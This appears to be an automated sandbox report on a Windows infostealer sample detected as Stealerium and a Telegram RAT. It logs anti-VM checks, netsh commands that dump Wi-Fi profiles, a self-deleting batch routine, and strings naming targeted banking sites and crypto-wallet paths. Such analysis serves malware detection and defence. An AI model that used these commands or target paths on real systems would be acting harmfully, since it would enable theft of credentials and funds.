Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Memory allocated: 24A43F00000 memory reserve \| memory write watch			Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Memory allocated: 24A5D700000 memory reserve \| memory write watch			Jump to behavior

Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 598109	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 598000	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 597890	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 597781	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 597624	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 597489	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 597328	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 597218	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 597109	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 597000	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 596890	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 596780	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 596672	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 596562	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 596453	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 596343	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 596234	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 596125	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 596015	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 595906	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 595796	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 595687	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 595578	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 595468	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 595359	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 595245	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 595140	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 595031	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 594821	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 594625	Jump to behavior

Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Window / User API: threadDelayed 3333			Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Window / User API: threadDelayed 6478			Jump to behavior

Source: C:\Users\user\Desktop\yv7QsAR49V.exe TID: 7144	Thread sleep time: -30437127721620741s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe TID: 7144	Thread sleep time: -598109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe TID: 7144	Thread sleep time: -598000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe TID: 7144	Thread sleep time: -597890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe TID: 7144	Thread sleep time: -597781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe TID: 7144	Thread sleep time: -597624s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe TID: 7144	Thread sleep time: -597489s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe TID: 7144	Thread sleep time: -597328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe TID: 7144	Thread sleep time: -597218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe TID: 7144	Thread sleep time: -597109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe TID: 7144	Thread sleep time: -597000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe TID: 7144	Thread sleep time: -596890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe TID: 7144	Thread sleep time: -596780s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe TID: 7144	Thread sleep time: -596672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe TID: 7144	Thread sleep time: -596562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe TID: 7144	Thread sleep time: -596453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe TID: 7144	Thread sleep time: -596343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe TID: 7144	Thread sleep time: -596234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe TID: 7144	Thread sleep time: -596125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe TID: 7144	Thread sleep time: -596015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe TID: 7144	Thread sleep time: -595906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe TID: 7144	Thread sleep time: -595796s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe TID: 7144	Thread sleep time: -595687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe TID: 7144	Thread sleep time: -595578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe TID: 7144	Thread sleep time: -595468s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe TID: 7144	Thread sleep time: -595359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe TID: 7144	Thread sleep time: -595245s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe TID: 7144	Thread sleep time: -595140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe TID: 7144	Thread sleep time: -595031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe TID: 7144	Thread sleep time: -594821s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe TID: 7144	Thread sleep time: -594625s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe TID: 7144	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe TID: 7144	Thread sleep time: -99844s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem

Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 598109	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 598000	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 597890	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 597781	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 597624	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 597489	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 597328	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 597218	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 597109	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 597000	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 596890	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 596780	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 596672	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 596562	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 596453	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 596343	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 596234	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 596125	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 596015	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 595906	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 595796	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 595687	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 595578	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 595468	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 595359	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 595245	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 595140	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 595031	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 594821	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 594625	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Thread delayed: delay time: 99844	Jump to behavior

Source: tmpADEC.tmp.dat.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696508427
Source: tmpADEC.tmp.dat.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696508427
Source: tmpADEC.tmp.dat.0.dr	Binary or memory string: outlook.office.comVMware20,11696508427s
Source: tmpADEC.tmp.dat.0.dr	Binary or memory string: discord.comVMware20,11696508427f
Source: tmpADEC.tmp.dat.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696508427
Source: yv7QsAR49V.exe, 00000000.00000002.2622301736.0000024A5E1DD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: tmpADEC.tmp.dat.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696508427x
Source: yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft hyper-v video
Source: tmpADEC.tmp.dat.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696508427
Source: tmpADEC.tmp.dat.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696508427}
Source: tmpADEC.tmp.dat.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696508427u
Source: tmpADEC.tmp.dat.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696508427d
Source: yv7QsAR49V.exe, 00000000.00000002.2621233214.0000024A5E000000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll6Aw
Source: tmpADEC.tmp.dat.0.dr	Binary or memory string: outlook.office365.comVMware20,11696508427t
Source: yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware svga 3d
Source: tmpADEC.tmp.dat.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696508427\|UE
Source: tmpADEC.tmp.dat.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696508427
Source: yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A45701000.00000004.00000800.00020000.00000000.sdmp, Info.txt.0.dr	Binary or memory string: VirtualMachine: False
Source: tmpADEC.tmp.dat.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696508427p
Source: tmpADEC.tmp.dat.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696508427n
Source: tmpADEC.tmp.dat.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696508427x
Source: yv7QsAR49V.exe	Binary or memory string: VirtualMachine:
Source: tmpADEC.tmp.dat.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696508427~
Source: tmpADEC.tmp.dat.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696508427^
Source: tmpADEC.tmp.dat.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696508427}
Source: tmpADEC.tmp.dat.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696508427h
Source: tmpADEC.tmp.dat.0.dr	Binary or memory string: tasks.office.comVMware20,11696508427o
Source: tmpADEC.tmp.dat.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696508427z
Source: yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A45796000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware SVGA 3D
Source: tmpADEC.tmp.dat.0.dr	Binary or memory string: global block list test formVMware20,11696508427
Source: yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A45796000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Microsoft Hyper-V Video
Source: yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicshutdown
Source: yv7QsAR49V.exe	Binary or memory string: vmware
Source: tmpADEC.tmp.dat.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696508427
Source: tmpADEC.tmp.dat.0.dr	Binary or memory string: dev.azure.comVMware20,11696508427j
Source: yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicvss
Source: tmpADEC.tmp.dat.0.dr	Binary or memory string: bankofamerica.comVMware20,11696508427x
Source: yv7QsAR49V.exe, 00000000.00000002.2622301736.0000024A5E18E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
Source: tmpADEC.tmp.dat.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696508427
Source: yv7QsAR49V.exe, 00000000.00000002.2620210449.0000024A5DED0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: tmpADEC.tmp.dat.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696508427]
Source: tmpADEC.tmp.dat.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696508427
Source: tmpADEC.tmp.dat.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696508427t
Source: tmpADEC.tmp.dat.0.dr	Binary or memory string: AMC password management pageVMware20,11696508427
Source: yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicheartbeat

Source: C:\Users\user\Desktop\yv7QsAR49V.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\yv7QsAR49V.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: yv7QsAR49V.exe, Decryptor.cs	Reference to suspicious API methods: WinApi.LoadLibrary(sPath + "\\mozglue.dll")
Source: yv7QsAR49V.exe, Decryptor.cs	Reference to suspicious API methods: WinApi.GetProcAddress(_hNss3, "NSS_Init")
Source: yv7QsAR49V.exe, Keylogger.cs	Reference to suspicious API methods: MapVirtualKey(vkCode, 0u)

Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\4d347f08-badb-4aa2-85cc-e67036e9d72f.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr All	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show networks mode=bssid	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /PID 7052	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /T 2 /NOBREAK	Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\taskkill.exe taskkill /F /PID 7052

Jump to behavior

Language, Device and Operating System Detection

Yara detected Telegram Recon

Source: Yara match

File source: yv7QsAR49V.exe, type: SAMPLE

Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Queries volume information: C:\Users\user\Desktop\yv7QsAR49V.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\netstandard\v4.0_2.0.0.0__cc7b13ffcd2ddd51\netstandard.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\yv7QsAR49V.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\netsh.exe netsh wlan show profile

Source: yv7QsAR49V.exe, 00000000.00000002.2620210449.0000024A5DF9E000.00000004.00000020.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2622301736.0000024A5E18E000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected Stealerium

Source: Yara match	File source: yv7QsAR49V.exe, type: SAMPLE
Source: Yara match	File source: 0.2.yv7QsAR49V.exe.24a4591b838.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.yv7QsAR49V.exe.24a4591b838.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.yv7QsAR49V.exe.24a436a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2615455822.0000024A458D9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2615455822.0000024A45ABE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2615455822.0000024A45C6B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2615455822.0000024A45A18000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2615455822.0000024A458EF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.2322470086.0000024A436A2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: yv7QsAR49V.exe PID: 7052, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH.zip, type: DROPPED

Yara detected Telegram RAT

Source: Yara match	File source: 00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: yv7QsAR49V.exe PID: 7052, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Electrum
Source: yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 4com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb
Source: yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 3C:\Users\user\AppData\Roaming\Exodus\exodus.wallet2Mt
Source: yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 0C:\Users\user\AppData\Roaming\Ethereum\keystore2Mt
Source: yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Exodus
Source: yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: &C:\Users\user\AppData\Roaming\Binance2Mt
